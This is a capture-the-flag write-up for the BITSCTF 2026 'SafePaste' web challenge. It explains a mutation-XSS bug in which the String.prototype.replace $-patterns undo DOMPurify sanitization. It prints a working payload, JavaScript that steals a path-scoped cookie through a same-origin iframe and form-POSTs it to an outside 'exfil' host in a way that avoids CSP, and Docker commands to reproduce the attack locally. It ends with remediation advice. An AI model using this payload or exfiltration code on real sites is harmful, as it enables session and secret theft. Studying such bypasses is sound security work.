BITSCTF 2026 — SafePaste Writeup
A paste site sanitizes with DOMPurify and then feeds the result to String.prototype.replace: the $& and $` replacement patterns smuggle a live iframe past the sanitizer, and a /hidden-scoped flag cookie is read through a same-origin 404 frame.
BITSCTF 2026 — SafePaste
"SafePaste" (Web) is a tiny Express + TypeScript paste site with an admin bot. Its README is a single line — "Yet another paste challenge?" — and the name is the joke: the code runs DOMPurify and believes it is safe. The interesting part is the order of operations. Input is sanitized, stored, and then substituted into the page template with String.prototype.replace("{paste}", content). Those two steps compose into a mutation XSS: the sanitizer inspects one string, replace rewrites it, and only then does the browser parse it.
- Event: BITSCTF 2026
- Category: Web
- Flag format:
BITSCTF{...}
1. The application
The whole backend fits in one file. The relevant routes:
app.post("/create", (req, res) => {
const content = req.body.content;
const id = uuidv4();
const clean = DOMPurify.sanitize(content); // (1) sanitize
pastes.set(id, clean);
res.redirect(`/paste/${id}`);
});
app.get("/paste/:id", (req, res) => {
const content = pastes.get(req.params.id);
const html = pasteTemplate.replace("{paste}", content); // (2) substitute
res.type("html").send(html);
});
app.get("/hidden", (req, res) => {
if (req.query.secret === ADMIN_SECRET) return res.send("Welcome, admin!");
res.socket?.destroy();
});Every response carries a CSP header:
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; default-src 'self'script-src allows inline and eval, so the hard part is not running script once you have markup — it is getting markup past DOMPurify. default-src 'self' blocks fetch/img/XHR to an external host, but note it does not cover form-action.
The bot sets the flag cookie and visits the reported URL:
await page.setCookie({
name: "FLAG", value: FLAG,
domain: APP_HOST, // "localhost"
path: "/hidden", // scoped to /hidden
});
await page.goto(url, { waitUntil: "networkidle2", timeout: 5000 });
await new Promise((r) => setTimeout(r, 15000));/report only accepts a URL whose hostname is localhost or APP_HOST, so the goal is not SSRF — it is XSS on the app itself, in the bot's origin where the FLAG cookie lives.
2. The bug is not in DOMPurify
My first instinct was a DOMPurify CVE. The package-lock.json in the repo pins dompurify@3.3.1, which is inside the affected range of several 2026 rawtext/SAFE_FOR_XML findings (CVE-2026-0540, CVE-2026-3126 / GHSA-h8r8-wccr-v5f2). I fuzzed closers and attribute tricks for a while and got nothing, for two reasons:
- The app wraps the paste in a plain
<div class="content">{paste}</div>, not a<style>/<textarea>/<xmp>rawtext wrapper. The rawtext-element CVEs need a wrapper the app never provides. - The
DockerfiledoesCOPY package.json ./thennpm install, so the checked-in lockfile is ignored and the container actually resolved a currentdompurify@3.4.17.
The real defect is app-level and version-independent: String.prototype.replace treats $&, $`, $' and $$ inside its replacement string as special, and here the replacement string is attacker-controlled. Confirmed by dumping the sanitized value the server hands to replace:
CLEAN: "<img alt=\"$&$`<iframe\tsrc=/hidden/lol\t\tonload=eval(atob('x'))\">\n"The $& and $` are still there. They survive sanitization because they are just attribute text.
3. The chain
A single paste is the payload:
<img alt=$&$`<iframe	src=/hidden/lol		onload=eval(atob('...'))//>
</iframe>Step 1 — what DOMPurify sees. <img> with an unquoted alt. The 	 are character references, not whitespace, so the HTML tokenizer keeps reading them as attribute text, and the first literal > closes the <img>. DOMPurify therefore sees one harmless <img> element; the entire <iframe …> is just part of its alt value. On output it re-serializes as <img alt="…">, escaping &→&, decoding 	→ a literal TAB, and dropping the dangling </iframe>. That is the string in the CLEAN: dump above — no onload, no iframe element, nothing for the sanitizer to strip.
Step 2 — replace rewrites it. Substituting that string expands the patterns: $& becomes the match ({paste}, seven characters) and $` becomes everything before the match — the entire <!DOCTYPE html> … <div class="content"> prefix. The prefix re-enters the document mid-string, and its " and > characters flip the browser's tokenizer state. What DOMPurify saw as the value of an alt attribute becomes, in the browser, a live <iframe> whose attributes are separated by the decoded TABs. The final string the browser parses (excerpt):
<div class="content"><img alt="{paste}amp;<!DOCTYPE html>
...
<div class="content"><iframe src=/hidden/lol onload=eval(atob('...'))//">Step 3 — the trailing quote. Because the element was re-serialized as <img alt="…">, DOMPurify's closing " lands immediately after onload=eval(atob('...')), yielding eval(atob('...'))" — a JavaScript syntax error. I confirmed this with a headless page dump; the iframe was live and loading /hidden/lol, but the handler died:
REQ: GET http://localhost:3000/hidden/lol
PAGEERROR: Invalid or unexpected token
INFO: { "iframeCount": 1, "iframes": [{ "src": "/hidden/lol", "onload": "eval(atob('CmNvbnN0…" }] }Appending // to the handler (onload=eval(atob('...'))//) turns the stray quote into a line comment (//"), and the handler runs.
4. Reading a path-scoped, self-destructing cookie
The flag cookie is path=/hidden. Hitting /hidden with the wrong or absent secret calls res.socket.destroy(): the connection is torn down and the browser renders a cross-origin error document you cannot read. But the cookie attaches to any path inside the /hidden/ scope. A path like /hidden/lol matches the scope, returns a plain 404, and is still same-origin — so loading it in an iframe lets the parent read its document.cookie. The handler that the injected onload executes:
const iframe = document.createElement('iframe');
iframe.src = '/hidden/lol';
iframe.onload = () => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'http://exfil:8000/';
const input = document.createElement('input');
input.name = 'flag';
input.value = frames[1].document.cookie; // FLAG=... from the /hidden-scoped frame
form.appendChild(input);
document.body.appendChild(form);
form.submit();
};
document.body.appendChild(iframe);The exfil channel is a form POST on purpose. CSP is default-src 'self', which governs connect-src/img-src but not form-action, so fetch/Image() to exfil are blocked while the POST succeeds.
5. Reproducing it
Stand up the service (the Dockerfile installs Chromium and sets PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium, so the in-container bot works on arm64) and a listener:
docker network create tbnet
docker build -t safepaste ./SafePaste
docker run -d --name safe --network tbnet -p 5060:3000 \
-e APP_HOST=localhost -e APP_PORT=3000 \
-e FLAG='BITSCTF{fake_flag_for_local_testing}' \
-e ADMIN_SECRET=fake_admin_secret safepaste
docker run -d --name exfil --network tbnet python:3.11-slim python -u /exfil.pyCreate the paste and report it to the bot (the URL the bot accepts is localhost, and the bot runs inside the container):
create -> 302 /paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
bot url -> http://localhost:3000/paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
Admin will review your paste shortly...The listener receives the flag:
HIT POST / :: flag=FLAG%3DBITSCTF%7Bfake_flag_for_local_testing%7Dwhich decodes to flag=FLAG=BITSCTF{fake_flag_for_local_testing} — the cookie value read by the same-origin frame.
6. Fixing it
- Never build HTML with
String.prototype.replaceand attacker input. The$-patterns ($&,$`,$',$$) rewrite the replacement. Use a real template engine, or disable pattern expansion by passing a function:template.replace('{paste}', () => content). - Sanitize the final document, not an intermediate string. If the string is mutated after sanitization, the sanitizer's result is meaningless.
- Do not scope a secret cookie to a path you also serve error pages on. Any same-origin page under
/hidden/can read it; the nameFLAGonly hides it from users, not from script.
7. Flag
BITSCTF{fake_flag_for_local_testing} # local run; real flag is BITSCTF{...}What do you think?
React to show your appreciation